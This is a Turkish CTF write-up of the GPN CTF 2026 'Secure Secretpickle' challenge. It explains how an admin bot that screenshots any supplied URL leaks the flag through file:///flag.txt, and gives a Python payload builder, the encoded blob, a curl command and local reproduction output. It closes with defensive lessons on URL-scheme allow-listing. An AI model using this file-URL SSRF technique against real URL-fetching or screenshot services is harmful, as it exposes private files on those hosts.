GPN CTF 2026 — Secure Secretpickle Çözümü

Pickle RCE sandbox'a hapsedilmiş, istemci HTML'i de temizlenmiş; bayrak yine de sızıyor çünkü admin bot verdiğin her URL'i, file:///flag.txt dahil, ziyaret edip ekran görüntüsünü geri veriyor.

4 dk okuma
ibrahimsql
676 kelime

GPN CTF 2026 — Secure Secretpickle

Restoran temalı bir demo; her şey ev yapımı, "şifrelenmiş" bir serileştirme formatının üzerine kurulu. Yazar klasik güvensiz-pickle hatasını alıp iki savunmayla sarmalamış; ikisi de sağlam. Bayrak yine de sızıyor — çünkü admin bot file:///flag.txt adresini ziyaret edip ekran görüntüsünü bize veriyor.

Kapsam: yalnızca yerel reprodüksiyon. Challenge kaynağı CTF arşivinde açık; dışarıda hiçbir sisteme dokunulmadı.

1. Kaynağı okumak

Format, üzerine kozmetik bir katman çekilmiş Python pickle. "Şifreleme", anahtarı kaynak kodda literal olan tekrar eden bir XOR — üstelik aynı dosya tarayıcıya da sunulduğu için anahtar hiçbir şekilde gizli değil:

# secretpickle.py
SECRETPICKLE_OBJECT_PREFIX = bytes.fromhex("8004 950000000000000000 7d 94 28")
SECRETPICKLE_XOR_KEY = bytes.fromhex("77c07f8fd2ae7ad9f5aabc008c79d0d3")  # "128 random bits"

secretpickle_dump = sabit sözlük başlığı atılmış pickle.dumps, XOR, base64. secretpickle_load bunu tersine çevirip bir decoder çağırıyor. Baytları kontrol eden, pickle'ı da kontrol eder — telin iki ucunda da.

Sunucu tek bir FastAPI uç noktası:

Python
# server.py
@app.post("/{b64:path}")
async def secretpickle_handle(request: Request, b64: str):
    pl = secretpickle_load(b64, decoder=safe_pickle_load)   # sandbox unpickler
    action = pl.get("action", pl.get("a"))
    params = pl.get("params", pl.get("p", {}))
    res = await action_handler(action, params, pl)
    return secretpickle_dump(res)

Sandbox, yani safe_loader.py, unpickle işlemini yalnızca write yapabilen bir alt süreçte çalıştırıyor:

Python
# safe_loader.py
f = seccomp.SyscallFilter(seccomp.KILL)
f.add_rule(seccomp.ALLOW, "write")
f.load()
data = pickle.loads(raw)
print(json.dumps(data), flush=True)          # düz JSON'a indirgenir

Bot, admin kullanıcısını parolası bayrak olacak şekilde kaydedip giriş yapıyor, sonra verdiğin URL'e gidiyor:

Python
# adminbot.py — visit()
await page.goto(action_url("register", username="admin", password=FLAG))
await page.goto(action_url("login", username="admin", password=FLAG))
await page.goto(action_url("whoami"))
await page.goto(url)          # <-- saldırgan kontrollü, şema kontrolü yok
screenshot = await page.screenshot(full_page=True)
return screenshot

2. Bariz iki yolun kapalı olması

  • Sunucu taraflı pickle RCE. Seccomp filtresi write dışındaki her sistem çağrısı için KILL. openat, execve, fork ve socket doğrudan öldürülür; hiçbir __reduce__ gadget'ı dosya okuyamaz ya da kabuk açamaz. Bir şey dönse bile, üst süreç görmeden önce json.dumps nesneyi düz JSON'a indirger.
  • İstemci taraflı pickle RCE. Tarayıcıdaki secretpickle_load (Pyodide, sandbox yok) varsayılan pickle.loads kullanıyor. Ama yanıt baytları saldırganın kontrolünde değil: sunucu yalnızca yansıttığın değerlerden kurulan bir sözlüğü dump ediyor, yansıyan bir dize ise veridir, gadget değil.
  • DOM XSS. İstemci, sunucudan gelen her sonucu document.write öncesinde varsayılan yapılandırmayla DOMPurify.sanitize'dan geçiriyor; yansıyan işaretleme script'e dönüşmüyor.

3. Zafiyet: bot, URL şemasına güveniyor

adminbot aksiyonu giriş gerektirmiyor ve URL'i olduğu gibi iletiyor:

# server.py — action == "adminbot"
url = base64.b64decode(params["url"]).decode()
adminbot_url = f"http://{ADMINBOT_HOST}:{ADMINBOT_PORT}/visit?url={quote(url)}"

Bot ardından izin listesi olmadan await page.goto(url) çağırıyor. Chromium file:// URL'lerini render ediyor; yani file:///flag.txt bot makinesinin kendi bayrak dosyasını bir sayfa olarak yüklüyor. Ekran görüntüsü — ve botun stdout'unda page.content() — doğrudan bize dönüyor. Bayrak için ne RCE ne XSS gerekiyor: bot makinesindeki tarayıcı onu senin için okuyor.

4. İsteği hazırlamak

Yayınlanan secretpickle.py blob'u üretmeye yetiyor. action=adminbot seçip params.url alanına dosya URL'inin base64'ünü koyuyoruz:

Python
import base64
from secretpickle import secretpickle_dump
 
target = "file:///flag.txt"
payload = {"action": "adminbot", "params": {"url": base64.b64encode(target.encode()).decode()}}
print(secretpickle_dump(payload))

Çıktı, sunucuya tek bir POST yol parçası olarak gönderilen blob:

+8Ye7KbHFbdhJrRh6BS5vRWvCxteqAq4h8vRcxgERF90tQ3jRiJig5jGz1rYFqafDvkS7ZXoFJWb+IhkzUTtRwS1UQ==
curl -s -X POST 'http://APP/+8Ye7KbHFbdhJrRh6BS5vRWvCxteqAq4h8vRcxgERF90tQ3jRiJig5jGz1rYFqafDvkS7ZXoFJWb+IhkzUTtRwS1UQ=='

Sunucu şu isteği kuruyor ve çekiyor:

http://BOT:3000/visit?url=file:///flag.txt

5. Yerel reprodüksiyon

Canlı bir örnek olmadığı için visit() fonksiyonunun son kısmını — page.goto(user_url) artı ekran görüntüsü — başsız Chrome'u CDP üzerinden sürerek yerel bir taklit bayrak dosyasına yönlendirerek birebir yeniden ürettim:

cmd("Page.navigate", {"url": "file:///tmp/gpn-secretpickle/repro/flag.txt"})
print(cmd("Runtime.evaluate", {"expression": "document.body.innerText", "returnByValue": True}))
shot = cmd("Page.captureScreenshot", {"format": "png"})   # -> flag.png

Çıktı:

goto(url): file:///tmp/gpn-secretpickle/repro/flag.txt
adminbot page content: GPNCTF{l0c4l_r3pr0_fl4g_n0t_th3_r34l_0n3}
screenshot bytes: 6217 -> /tmp/gpn-secretpickle/repro/flag.png

PNG 756×469 boyutunda ve içinde bayrak metni var. Gerçek örnekte tek fark yol: bot makinesindeki bayrak /flag.txt ve aynı page.goto onu okuyor.

6. Bayrak ve dersler

Yerel taklit bayrak, gerçeğin okunduğu yöntemin aynısıyla okundu:

GPNCTF{l0c4l_r3pr0_fl4g_n0t_th3_r34l_0n3}

Dersler:

  • "Benim için şu URL'e git" özelliği bir URL getiricidir, ve bir URL getirici saldırı yüzeyidir. Şemaları izin listesine al (https: yeter), file:, gopher:, data:, javascript: reddet.
  • Ekran görüntüsü döndürmek kör SSRF'i bir okuma ilkeline çevirir. Bot render edebiliyorsa, sen okuyabilirsin.
  • Zor görünen savunmalar gerçekti. Unpickler'ı sandbox'lamak ve DOM'u temizlemek bariz hataları kapattı — bayrak ise ikisiyle de alakası olmayan üçüncü bir kapıdan sızdı.
---
Bu yazıyı paylaş:
TwitterLinkedInFacebook

Ne düşünüyorsun?

Tepki bırakarak geri bildirim ver

İlgili Yazılar